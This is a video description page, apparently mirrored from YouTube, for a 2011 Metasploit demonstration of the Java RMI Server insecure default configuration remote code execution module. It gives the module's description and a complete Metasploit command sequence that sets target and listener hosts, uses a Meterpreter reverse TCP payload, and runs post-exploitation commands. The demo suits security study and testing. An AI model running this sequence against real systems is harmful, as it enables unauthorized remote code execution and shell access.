Java RMI Server Insecure Default Configuration Java Code Execution
Blog : http://eromang.zataz.com
Twitter : / eromang
Timeline :
Vulnerability discovered by mihi
Metasploit exploit released the 2011-07-15
Provided by:
mihi
References :
Oracle Java RMI documentation
Affected versions :
All JSE versions
Tested on Windows XP Pro SP3 with JSE 7 (build 1.7.0-b147)
Description:
This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication.
Metasploit demo :
On windows target box :
cd C:\Program Files\Java\jre7\bin
start rmiregistry.exe
On Metasploit box :
use exploit/multi/misc/java_rmi_server
set RHOST 192.168.178.48
set SRVHOST 192.168.178.21
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit
sessions -i 1
sysinfo
getuid
ipconfig
На этой странице сайта вы можете посмотреть видео онлайн Java RMI Server Insecure Default Configuration Java Code Execution длительностью часов минут секунд в хорошем качестве, которое загрузил пользователь Eric Romang (wow) 31 Июль 2011, поделитесь ссылкой с друзьями и знакомыми, на youtube это видео уже посмотрели 6,373 раз и оно понравилось 7 зрителям. Приятного просмотра!
